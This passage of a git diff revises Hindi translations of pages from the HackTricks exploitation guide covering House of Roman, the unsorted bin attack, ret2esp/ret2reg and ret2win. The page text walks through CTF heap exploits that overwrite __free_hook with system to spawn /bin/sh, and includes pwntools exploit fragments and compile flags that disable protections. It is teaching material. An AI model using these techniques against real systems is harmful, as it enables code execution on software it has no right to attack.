### चरण 3: \_\_malloc_hook को सिस्टम पर सेट करें
-पहले चरण में, हम `__malloc_hook` वाले एक भाग को नियंत्रित करने में सफल रहे (चर `malloc_hook_chunk` में) और दूसरे चरण में, हम यहां `main_arena + 0x68` लिखने में सफल रहे।
+पहले चरण में, हम `__malloc_hook` वाले एक भाग को नियंत्रित करने में सफल रहे (चर `malloc_hook_chunk` में) और दूसरे चरण में हम यहां `main_arena + 0x68` लिखने में सफल रहे।
अब, हम `malloc_hook_chunk` में आंशिक ओवरराइट का दुरुपयोग करते हैं ताकि हम वहां लिखे गए libc पते (`main_arena + 0x68`) का उपयोग करके **एक `one_gadget` पते** को इंगित कर सकें।
-यहां **12 बिट की यादृच्छिकता को ब्रूटफोर्स करने की आवश्यकता है** (अधिक जानकारी के लिए [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ उदाहरण](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में)।
+यहां **12 बिट की यादृच्छिकता को ब्रूटफोर्स करना आवश्यक है** (अधिक जानकारी के लिए [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ उदाहरण](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में)।
अंत में, एक बार सही पता ओवरराइट हो जाने पर, **`malloc` कॉल करें और `one_gadget` को ट्रिगर करें।**
diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
index 8f260f729..e6ca82a4e 100644
--- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
@@ -10,64 +10,64 @@ For more information about what is an unsorted bin check this page:
bins-and-memory-allocations.md
{{#endref}}
-Unsorted सूचियाँ `unsorted_chunks (av)` के पते को चंक के `bk` पते में लिखने में सक्षम होती हैं। इसलिए, यदि एक हमलावर **चंक के `bk` पॉइंटर के पते को संशोधित कर सकता है** जो अनसॉर्टेड बिन के अंदर है, तो वह **उस पते को एक मनमाने पते पर लिखने में सक्षम हो सकता है** जो Glibc पते को लीक करने या कुछ रक्षा को बायपास करने में सहायक हो सकता है।
+Unsorted lists `unsorted_chunks (av)` के `bk` पते पर पता लिखने में सक्षम होते हैं। इसलिए, यदि एक हमलावर **`bk` पॉइंटर के पते को संशोधित कर सकता है** एक चंक के अंदर जो अनसॉर्टेड बिन में है, तो वह **उस पते को एक मनमाने पते पर लिखने में सक्षम हो सकता है** जो Glibc पते लीक करने या कुछ रक्षा को बायपास करने में सहायक हो सकता है।
तो, मूल रूप से, यह हमला **एक मनमाने पते पर एक बड़ा नंबर सेट करने की अनुमति देता है**। यह बड़ा नंबर एक पता है, जो एक हीप पता या एक Glibc पता हो सकता है। एक सामान्य लक्ष्य **`global_max_fast`** है ताकि बड़े आकार के फास्ट बिन बिन बनाए जा सकें (और अनसॉर्टेड बिन हमले से फास्ट बिन हमले में जाया जा सके)।
> [!TIP]
-> उदाहरण पर नज़र डालने के लिए [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) पर जाएं और 0x4000 और 0x5000 का उपयोग करें 0x400 और 0x500 के बजाय चंक आकार के रूप में (Tcache से बचने के लिए) यह देखना संभव है कि **आजकल** त्रुटि **`malloc(): unsorted double linked list corrupted`** सक्रिय होती है।
+> उदाहरण पर एक नज़र डालें जो [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) में प्रदान किया गया है और 0x4000 और 0x5000 का उपयोग करें 0x400 और 0x500 के बजाय चंक आकार के रूप में (Tcache से बचने के लिए) यह देखना संभव है कि **आजकल** त्रुटि **`malloc(): unsorted double linked list corrupted`** उत्पन्न होती है।
>
-> इसलिए, यह अनसॉर्टेड बिन हमला अब (अन्य जांचों के बीच) यह भी आवश्यक है कि डबल लिंक्ड लिस्ट को ठीक किया जा सके ताकि यह बायपास किया जा सके `victim->bk->fd == victim` या नहीं `victim->fd == av (arena)` का मतलब है कि जिस पते पर हम लिखना चाहते हैं, उसमें नकली चंक के `fd` स्थिति में पता होना चाहिए और नकली चंक `fd` एरेना की ओर इशारा कर रहा है।
+> इसलिए, यह अनसॉर्टेड बिन हमला अब (अन्य जांचों के बीच) यह भी आवश्यक है कि डबल लिंक्ड लिस्ट को ठीक किया जा सके ताकि यह बायपास किया जा सके `victim->bk->fd == victim` या नहीं `victim->fd == av (arena)`। इसका मतलब है कि जिस पते पर हम लिखना चाहते हैं, उसमें फर्जी चंक के `fd` स्थिति में फर्जी चंक का पता होना चाहिए और फर्जी चंक `fd` एरेना की ओर इशारा कर रहा है।
> [!CAUTION]
-> ध्यान दें कि यह हमला अनसॉर्टेड बिन को भ्रष्ट करता है (इसलिए छोटे और बड़े भी)। इसलिए हम केवल **अब फास्ट बिन से आवंटन का उपयोग कर सकते हैं** (एक अधिक जटिल प्रोग्राम अन्य आवंटन कर सकता है और क्रैश हो सकता है), और इसे सक्रिय करने के लिए हमें **समान आकार आवंटित करना चाहिए या प्रोग्राम क्रैश हो जाएगा।**
+> ध्यान दें कि यह हमला अनसॉर्टेड बिन को भ्रष्ट करता है (इसलिए छोटे और बड़े भी)। इसलिए हम केवल **अब फास्ट बिन से आवंटन का उपयोग कर सकते हैं** (एक अधिक जटिल प्रोग्राम अन्य आवंटन कर सकता है और क्रैश हो सकता है), और इसे ट्रिगर करने के लिए हमें **समान आकार आवंटित करना चाहिए या प्रोग्राम क्रैश हो जाएगा।**
>
> ध्यान दें कि **`global_max_fast`** को ओवरराइट करना इस मामले में मदद कर सकता है यह मानते हुए कि फास्ट बिन सभी अन्य आवंटनों का ध्यान रख सकेगा जब तक कि शोषण पूरा नहीं हो जाता।
-[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) से कोड इसे बहुत अच्छी तरह से समझाता है, हालांकि यदि आप mallocs को इस तरह से संशोधित करते हैं कि पर्याप्त बड़ा मेमोरी आवंटित करें ताकि Tcache में समाप्त न हो, तो आप देख सकते हैं कि पहले से उल्लेखित त्रुटि प्रकट होती है जो इस तकनीक को रोकती है: **`malloc(): unsorted double linked list corrupted`**
+[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) से कोड इसे बहुत अच्छी तरह से समझाता है, हालांकि यदि आप mallocs को इस तरह से संशोधित करते हैं कि पर्याप्त बड़ा मेमोरी आवंटित करें ताकि Tcache में समाप्त न हो, तो आप देख सकते हैं कि पहले उल्लेखित त्रुटि प्रकट होती है जो इस तकनीक को रोकती है: **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack
-यह वास्तव में एक बहुत बुनियादी अवधारणा है। अनसॉर्टेड बिन में चंक के पास पॉइंटर्स होंगे। अनसॉर्टेड बिन में पहला चंक वास्तव में **`fd`** और **`bk`** लिंक को **मुख्य एरेना (Glibc)** के एक भाग की ओर इशारा करेगा।\
+यह वास्तव में एक बहुत बुनियादी अवधारणा है। अनसॉर्टेड बिन में चंक के पास पॉइंटर्स होंगे। अनसॉर्टेड बिन में पहला चंक वास्तव में **`fd`** और **`bk`** लिंक **मुख्य एरेना (Glibc)** के एक भाग की ओर इशारा करेगा।\
इसलिए, यदि आप **एक चंक को अनसॉर्टेड बिन में डाल सकते हैं और इसे पढ़ सकते हैं** (फ्री के बाद उपयोग) या **कम से कम 1 पॉइंटर को ओवरराइट किए बिना इसे फिर से आवंटित कर सकते हैं** ताकि फिर **इसे पढ़ सकें**, तो आप एक **Glibc जानकारी लीक** प्राप्त कर सकते हैं।
एक समान [**हमला जो इस लेख में उपयोग किया गया**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), 4 चंक संरचना (A, B, C और D - D केवल शीर्ष चंक के साथ समेकन को रोकने के लिए है) का दुरुपयोग करने के लिए था, इसलिए B में एक शून्य बाइट ओवरफ्लो का उपयोग किया गया था ताकि C यह संकेत दे सके कि B अप्रयुक्त था। इसके अलावा, B में `prev_size` डेटा को संशोधित किया गया ताकि आकार B का आकार न होकर A+B हो।\
-फिर C को डिएक्लेट किया गया, और A+B के साथ समेकित किया गया (लेकिन B अभी भी उपयोग में था)। आकार A का एक नया चंक आवंटित किया गया और फिर लीक किए गए libc पते B में लिखे गए जहां से उन्हें लीक किया गया।
+फिर C को डिएक्लेट किया गया, और A+B के साथ समेकित किया गया (लेकिन B अभी भी उपयोग में था)। आकार A का एक नया चंक आवंटित किया गया और फिर libc लीक किए गए पते B में लिखे गए जहां से वे लीक हुए।
## References & Other examples
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- लक्ष्य एक वैश्विक चर को 4869 से अधिक के मान के साथ ओवरराइट करना है ताकि यह संभव हो सके कि ध्वज प्राप्त किया जा सके और PIE सक्षम नहीं है।
-- यह मनमाने आकार के चंक उत्पन्न करना संभव है और वांछित आकार के साथ एक हीप ओवरफ्लो है।
-- हमला 3 चंक बनाने से शुरू होता है: चंक0 ओवरफ्लो का दुरुपयोग करने के लिए, चंक1 ओवरफ्लो होने के लिए और चंक2 ताकि शीर्ष चंक पिछले लोगों के साथ समेकित न हो।
-- फिर, चंक1 को मुक्त किया जाता है और चंक0 को ओवरफ्लो किया जाता है ताकि चंक1 के `bk` पॉइंटर को इंगित किया जा सके: `bk = magic - 0x10`
-- फिर, चंक3 को चंक1 के समान आकार के साथ आवंटित किया जाता है, जो अनसॉर्टेड बिन हमले को सक्रिय करेगा और वैश्विक चर के मान को संशोधित करेगा, जिससे ध्वज प्राप्त करना संभव होगा।
+- यह मनमाने आकार के चंक उत्पन्न करना संभव है और इच्छित आकार के साथ एक हीप ओवरफ्लो है।
+- हमला 3 चंक बनाने से शुरू होता है: chunk0 ओवरफ्लो का दुरुपयोग करने के लिए, chunk1 ओवरफ्लो होने के लिए और chunk2 ताकि शीर्ष चंक पिछले लोगों के साथ समेकित न हो।
+- फिर, chunk1 को मुक्त किया जाता है और chunk0 को ओवरफ्लो किया जाता है ताकि chunk1 के `bk` पॉइंटर को इंगित किया जा सके: `bk = magic - 0x10`
+- फिर, chunk3 को chunk1 के समान आकार के साथ आवंटित किया जाता है, जो अनसॉर्टेड बिन हमले को ट्रिगर करेगा और वैश्विक चर के मान को संशोधित करेगा, जिससे ध्वज प्राप्त करना संभव होगा।
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- मर्ज फ़ंक्शन कमजोर है क्योंकि यदि दोनों पास किए गए अनुक्रमांक समान हैं तो यह उस पर पुनः आवंटित करेगा और फिर इसे मुक्त करेगा लेकिन उस मुक्त क्षेत्र के लिए एक पॉइंटर लौटाएगा जिसका उपयोग किया जा सकता है।
-- इसलिए, **2 चंक बनाए जाते हैं**: **चंक0** जो अपने साथ मर्ज किया जाएगा और चंक1 ताकि शीर्ष चंक के साथ समेकन को रोक सके। फिर, **चंक0 के साथ मर्ज फ़ंक्शन** को दो बार कॉल किया जाता है जो फ्री के बाद उपयोग का कारण बनेगा।
-- फिर, **`view`** फ़ंक्शन को अनुक्रमांक 2 (जो फ्री के बाद उपयोग चंक का अनुक्रमांक है) के साथ कॉल किया जाता है, जो **एक libc पता लीक करेगा**।
+- इसलिए, **2 चंक बनाए जाते हैं**: **chunk0** जो अपने आप के साथ मर्ज किया जाएगा और chunk1 ताकि शीर्ष चंक के साथ समेकन को रोक सके। फिर, **chunk0 के साथ मर्ज फ़ंक्शन को दो बार कॉल किया जाता है** जो फ्री के बाद उपयोग का कारण बनेगा।
+- फिर, **`view`** फ़ंक्शन को अनुक्रमांक 2 (जो फ्री के बाद उपयोग चंक का अनुक्रमांक है) के साथ कॉल किया जाता है, जो **libc पता लीक करेगा**।
- चूंकि बाइनरी में केवल **`global_max_fast`** से बड़े आकार के malloc की सुरक्षा है, इसलिए कोई फास्टबिन का उपयोग नहीं किया जाता है, एक अनसॉर्टेड बिन हमला वैश्विक चर `global_max_fast` को ओवरराइट करने के लिए उपयोग किया जाएगा।
-- फिर, यह संभव है कि अनुक्रमांक 2 (फ्री के बाद उपयोग पॉइंटर) के साथ संपादित फ़ंक्शन को कॉल किया जाए और `bk` पॉइंटर को `p64(global_max_fast-0x10)` की ओर इशारा करने के लिए ओवरराइट किया जाए। फिर, एक नया चंक बनाने से पहले से समझौता किए गए मुक्त पते (0x20) का उपयोग किया जाएगा जो **अनसॉर्टेड बिन हमले को सक्रिय करेगा** `global_max_fast` को ओवरराइट करते हुए जो एक बहुत बड़ा मान है, जिससे अब फास्ट बिन में चंक बनाना संभव हो गया है।
+- फिर, यह संभव है कि अनुक्रमांक 2 (फ्री के बाद उपयोग पॉइंटर) के साथ संपादित फ़ंक्शन को कॉल किया जाए और `bk` पॉइंटर को `p64(global_max_fast-0x10)` की ओर इशारा करने के लिए ओवरराइट किया जाए। फिर, एक नया चंक बनाने से पहले से समझौता किए गए मुक्त पते (0x20) का उपयोग किया जाएगा जो **अनसॉर्टेड बिन हमले को ट्रिगर करेगा** `global_max_fast` को ओवरराइट करते हुए जो एक बहुत बड़ा मान है, जिससे अब फास्ट बिन में चंक बनाना संभव हो गया है।
- अब एक **फास्ट बिन हमला** किया जाता है:
-- सबसे पहले यह पता चलता है कि **`__free_hook`** स्थान में फास्ट **चंक के आकार 200** के साथ काम करना संभव है:
--
gef➤ p &__free_hook
-$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+- सबसे पहले यह पता चलता है कि **`__free_hook`** स्थान में **200 आकार के फास्ट चंक** के साथ काम करना संभव है:
+-
-- यदि हम इस स्थान पर आकार 0x200 का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जिसे निष्पादित किया जाएगा।
-- इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और मर्ज फ़ंक्शन को उस पॉइंटर के साथ दो बार कॉल किया जाता है, इस तरह हम फास्ट बिन में आकार `0xfc*2 = 0x1f8` के एक मुक्त चंक के लिए एक पॉइंटर प्राप्त करते हैं।
+- यदि हम इस स्थान पर 0x200 के आकार का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक कार्य फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित किया जाएगा।
+- इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और मर्ज फ़ंक्शन को उस पॉइंटर के साथ दो बार कॉल किया जाता है, इस तरह हम फास्ट बिन में `0xfc*2 = 0x1f8` के आकार के मुक्त चंक के लिए एक पॉइंटर प्राप्त करते हैं।
- फिर, इस चंक में संपादित फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इशारा करने के लिए संशोधित किया जा सके।
- फिर, आकार `0x1f8` का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके ताकि आकार `0x1f8` का एक और चंक बनाया जा सके ताकि **`__free_hook`** में एक फास्ट बिन चंक प्राप्त किया जा सके जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया गया है।
-- और अंत में, एक चंक जिसमें स्ट्रिंग `/bin/sh\x00` है, को डिलीट फ़ंक्शन को कॉल करके मुक्त किया जाता है, जो **`__free_hook`** फ़ंक्शन को सक्रिय करता है जो सिस्टम को `/bin/sh\x00` को पैरामीटर के रूप में इंगित करता है।
+- और अंत में, `/bin/sh\x00` स्ट्रिंग वाला एक चंक मुक्त किया जाता है, डिलीट फ़ंक्शन को कॉल करके, **`__free_hook`** फ़ंक्शन को ट्रिगर करता है जो सिस्टम को `/bin/sh\x00` को पैरामीटर के रूप में इंगित करता है।
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- अनसॉर्टेड बिन में चंक्स को समेकित करने और libc जानकारी लीक प्राप्त करने के लिए 1B ओवरफ्लो का दुरुपयोग करने का एक और उदाहरण और फिर malloc हुक को एक गड़बड़ पते के साथ ओवरराइट करने के लिए फास्ट बिन हमले को करना।
+- अनसॉर्टेड बिन में चंकों को समेकित करने और libc जानकारी लीक प्राप्त करने के लिए 1B ओवरफ्लो का दुरुपयोग करने का एक और उदाहरण और फिर malloc हुक को एक गड़बड़ पते के साथ ओवरराइट करने के लिए फास्ट बिन हमले को करना।
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
-- हम केवल `0x100` से बड़े आकार के चंक्स आवंटित कर सकते हैं।
-- अनसॉर्टेड बिन हमले का उपयोग करके `global_max_fast` को ओवरराइट करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स को संशोधित करना है, लेकिन हमें 16 बिट्स को संशोधित करना होगा)।
-- एक वैश्विक चंक्स के एरे को संशोधित करने के लिए फास्ट बिन हमला। यह एक मनमाना पढ़ने/लिखने की प्राइमिटिव देता है, जो GOT को संशोधित करने और कुछ फ़ंक्शन को `system` की ओर इशारा करने की अनुमति देता है।
+- हम केवल `0x100` से बड़े आकार के चंक आवंटित कर सकते हैं।
+- अनसॉर्टेड बिन हमले का उपयोग करके `global_max_fast` को ओवरराइट करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स को संशोधित करना होगा, लेकिन हमें 16 बिट्स को संशोधित करना होगा)।
+- एक वैश्विक चंकों की सूची को संशोधित करने के लिए फास्ट बिन हमला। यह एक मनमाने पढ़ने/लिखने की प्राइमिटिव देता है, जो GOT को संशोधित करने और कुछ फ़ंक्शन को `system` की ओर इंगित करने की अनुमति देता है।
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index 2ca585d51..d407046f3 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -4,11 +4,11 @@
## **Ret2esp**
-**क्योंकि ESP (स्टैक पॉइंटर) हमेशा स्टैक के शीर्ष की ओर इशारा करता है**, यह तकनीक EIP (इंस्ट्रक्शन पॉइंटर) को **`jmp esp`** या **`call esp`** इंस्ट्रक्शन के पते से बदलने में शामिल है। ऐसा करने से, शेलकोड ठीक EIP के ओवरराइट होने के बाद रखा जाता है। जब `ret` इंस्ट्रक्शन निष्पादित होता है, तो ESP अगले पते की ओर इशारा करता है, जो ठीक उसी स्थान पर है जहाँ शेलकोड संग्रहीत है।
+**क्योंकि ESP (स्टैक पॉइंटर) हमेशा स्टैक के शीर्ष की ओर इशारा करता है**, यह तकनीक EIP (इंस्ट्रक्शन पॉइंटर) को **`jmp esp`** या **`call esp`** इंस्ट्रक्शन के पते से बदलने में शामिल है। ऐसा करने से, शेलकोड ठीक EIP के ओवरराइट होने के बाद रखा जाता है। जब `ret` इंस्ट्रक्शन निष्पादित होता है, तो ESP अगले पते की ओर इशारा करता है, जो ठीक उसी स्थान पर है जहां शेलकोड संग्रहीत है।
-यदि **एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** Windows या Linux में सक्षम नहीं है, तो साझा पुस्तकालयों में पाए गए `jmp esp` या `call esp` इंस्ट्रक्शनों का उपयोग करना संभव है। हालाँकि, [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) सक्रिय होने पर, आपको इन इंस्ट्रक्शनों के लिए कमजोर प्रोग्राम के भीतर देखना पड़ सकता है (और आपको [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) को हराने की आवश्यकता हो सकती है)।
+यदि **एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** Windows या Linux में सक्षम नहीं है, तो साझा पुस्तकालयों में पाए जाने वाले `jmp esp` या `call esp` इंस्ट्रक्शनों का उपयोग करना संभव है। हालाँकि, [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) सक्रिय होने पर, आपको इन इंस्ट्रक्शनों के लिए कमजोर प्रोग्राम के भीतर देखना पड़ सकता है (और आपको [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) को हराने की आवश्यकता हो सकती है)।
-इसके अलावा, EIP भ्रष्टाचार के **बाद शेलकोड रखने** में सक्षम होना, न कि स्टैक के मध्य में, यह सुनिश्चित करता है कि फ़ंक्शन के संचालन के दौरान निष्पादित किसी भी `push` या `pop` इंस्ट्रक्शनों का शेलकोड के साथ हस्तक्षेप नहीं होता है। यह हस्तक्षेप तब हो सकता है जब शेलकोड फ़ंक्शन के स्टैक के मध्य में रखा गया हो।
+इसके अलावा, EIP भ्रष्टाचार के **बाद शेलकोड रखने** में सक्षम होना, न कि स्टैक के मध्य में, यह सुनिश्चित करता है कि कार्य के संचालन के दौरान निष्पादित किसी भी `push` या `pop` इंस्ट्रक्शनों का शेलकोड के साथ हस्तक्षेप नहीं होता है। यह हस्तक्षेप तब हो सकता है जब शेलकोड कार्य के स्टैक के मध्य में रखा गया हो।
### स्थान की कमी
@@ -80,9 +80,9 @@ target.interactive()
इसी तरह, यदि हम जानते हैं कि एक फ़ंक्शन उस पते को लौटाता है जहाँ शेलकोड संग्रहीत है, तो हम **`call eax`** या **`jmp eax`** निर्देशों का उपयोग कर सकते हैं (जिसे **ret2eax** तकनीक के रूप में जाना जाता है), जो हमारे शेलकोड को निष्पादित करने का एक और तरीका प्रदान करता है। जैसे eax, **कोई अन्य रजिस्टर** जिसमें एक दिलचस्प पता हो, का उपयोग किया जा सकता है (**ret2reg**).
-### Example
+### उदाहरण
-You can find some examples here:
+आप कुछ उदाहरण यहाँ पा सकते हैं:
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
@@ -108,7 +108,7 @@ done
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
-ARM64 में, यह **`x0`** है जो एक फ़ंक्शन के लौटने वाले मान को संग्रहीत करता है, इसलिए यह संभव है कि x0 एक बफर के पते को संग्रहीत करता है जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है जिसमें निष्पादित करने के लिए एक शेलकोड होता है।
+ARM64 में, यह **`x0`** है जो एक फ़ंक्शन का लौटने वाला मान संग्रहीत करता है, इसलिए यह हो सकता है कि x0 एक बफर का पता संग्रहीत करता है जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है जिसमें निष्पादित करने के लिए एक शेलकोड होता है।
उदाहरण कोड:
```c
@@ -135,7 +135,7 @@ do_stuff(2)
return 0;
}
```
-फंक्शन के डिसअसेम्बली की जांच करने पर यह देखा जा सकता है कि **बफर का पता** (bof के लिए संवेदनशील और **उपयोगकर्ता द्वारा नियंत्रित**) **`x0` में स्टोर किया गया है** बफर ओवरफ्लो से लौटने से पहले:
+फंक्शन के डिसअसेंबली की जांच करने पर यह देखा जा सकता है कि **बफर का पता** (bof के लिए संवेदनशील और **उपयोगकर्ता द्वारा नियंत्रित**) **`x0` में संग्रहीत** है, बफर ओवरफ्लो से लौटने से पहले:
@@ -159,7 +159,7 @@ p.sendline(payload)
p.interactive()
```
> [!WARNING]
-> यदि `fgets` के बजाय कुछ ऐसा **`read`** का उपयोग किया गया होता, तो **केवल रिटर्न एड्रेस के अंतिम 2 बाइट्स को ओवरराइट करके** `br x0;` इंस्ट्रक्शन पर वापस जाना संभव होता, बिना पूरे एड्रेस को जाने।\
+> यदि `fgets` के बजाय कुछ ऐसा **`read`** का उपयोग किया गया होता, तो **केवल रिटर्न एड्रेस के अंतिम 2 बाइट्स को ओवरराइट करके** `br x0;` इंस्ट्रक्शन पर वापस जाना संभव होता बिना पूरे एड्रेस को जाने।\
> `fgets` के साथ यह काम नहीं करता क्योंकि यह **अंत में एक नल (0x00) बाइट जोड़ता है**।
## Protections
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index 463b3422f..9d1782699 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -32,14 +32,14 @@ return 0;
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: प्रोग्राम को 32-बिट बाइनरी के रूप में संकलित करें (यह वैकल्पिक है लेकिन CTF चुनौतियों में सामान्य है)।
-- `-fno-stack-protector`: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को निष्क्रिय करें।
+- `-fno-stack-protector`: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को अक्षम करें।
- `-z execstack`: स्टैक पर कोड के निष्पादन की अनुमति दें।
-- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को निष्क्रिय करें ताकि `win` फ़ंक्शन का पता न बदले।
+- `-no-pie`: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करें ताकि `win` फ़ंक्शन का पता न बदले।
- `-o vulnerable`: आउटपुट फ़ाइल का नाम `vulnerable` रखें।
### Python Exploit using Pwntools
-हम एक्सप्लॉइट के लिए **pwntools** का उपयोग करेंगे, जो एक्सप्लॉइट लिखने के लिए एक शक्तिशाली CTF ढांचा है। एक्सप्लॉइट स्क्रिप्ट एक पेलोड बनाएगी जो बफर को ओवरफ्लो करेगी और रिटर्न एड्रेस को `win` फ़ंक्शन के पते से ओवरराइट करेगी।
+हम एक्सप्लॉइट के लिए **pwntools** का उपयोग करेंगे, जो एक्सप्लॉइट लिखने के लिए एक शक्तिशाली CTF ढांचा है। एक्सप्लॉइट स्क्रिप्ट एक पेलोड बनाएगी जो बफर को ओवरफ्लो करेगा और रिटर्न एड्रेस को `win` फ़ंक्शन के पते से ओवरराइट करेगा।
```python
from pwn import *
@@ -63,13 +63,13 @@ p.interactive()
```sh
objdump -d vulnerable | grep win
```
-यह कमांड आपको `win` फ़ंक्शन का असेंबली दिखाएगा, जिसमें इसका प्रारंभिक पता शामिल है।
+यह कमांड आपको `win` फ़ंक्शन का असेंबली दिखाएगा, जिसमें इसका प्रारंभिक पता शामिल है।
-Python स्क्रिप्ट एक सावधानीपूर्वक तैयार किया गया संदेश भेजती है जो, जब `vulnerable_function` द्वारा संसाधित किया जाता है, तो बफर को ओवरफ्लो करता है और स्टैक पर रिटर्न पते को `win` के पते से ओवरराइट करता है। जब `vulnerable_function` लौटता है, तो `main` पर लौटने या बाहर निकलने के बजाय, यह `win` पर कूदता है, और संदेश प्रिंट होता है।
+Python स्क्रिप्ट एक सावधानीपूर्वक तैयार किया गया संदेश भेजती है जो, जब `vulnerable_function` द्वारा संसाधित किया जाता है, तो बफर को ओवरफ्लो करता है और स्टैक पर रिटर्न पते को `win` के पते से ओवरराइट करता है। जब `vulnerable_function` लौटता है, तो यह `main` पर लौटने या बाहर निकलने के बजाय `win` पर कूदता है, और संदेश प्रिंट होता है।
## सुरक्षा
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि `win` फ़ंक्शन कहाँ लोड है। कुछ मामलों में, जब ओवरफ्लो का कारण बनने वाला फ़ंक्शन `read` या समान होता है, तो आप रिटर्न पते को `win` फ़ंक्शन में बदलने के लिए 1 या 2 बाइट्स का **आंशिक ओवरराइट** कर सकते हैं। ASLR के काम करने के तरीके के कारण, अंतिम तीन हेक्स निबल यादृच्छिक नहीं होते हैं, इसलिए सही रिटर्न पते को प्राप्त करने का **1/16 मौका** (1 निबल) होता है।
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि `win` फ़ंक्शन कहाँ लोड है। कुछ मामलों में, जब ओवरफ्लो का कारण बनने वाला फ़ंक्शन `read` या समान होता है, तो आप रिटर्न पते को `win` फ़ंक्शन में बदलने के लिए 1 या 2 बाइट का **आंशिक ओवरराइट** कर सकते हैं। ASLR के काम करने के तरीके के कारण, अंतिम तीन हेक्स निबल यादृच्छिक नहीं होते हैं, इसलिए सही रिटर्न पता प्राप्त करने का **1/16 मौका** (1 निबल) होता है।
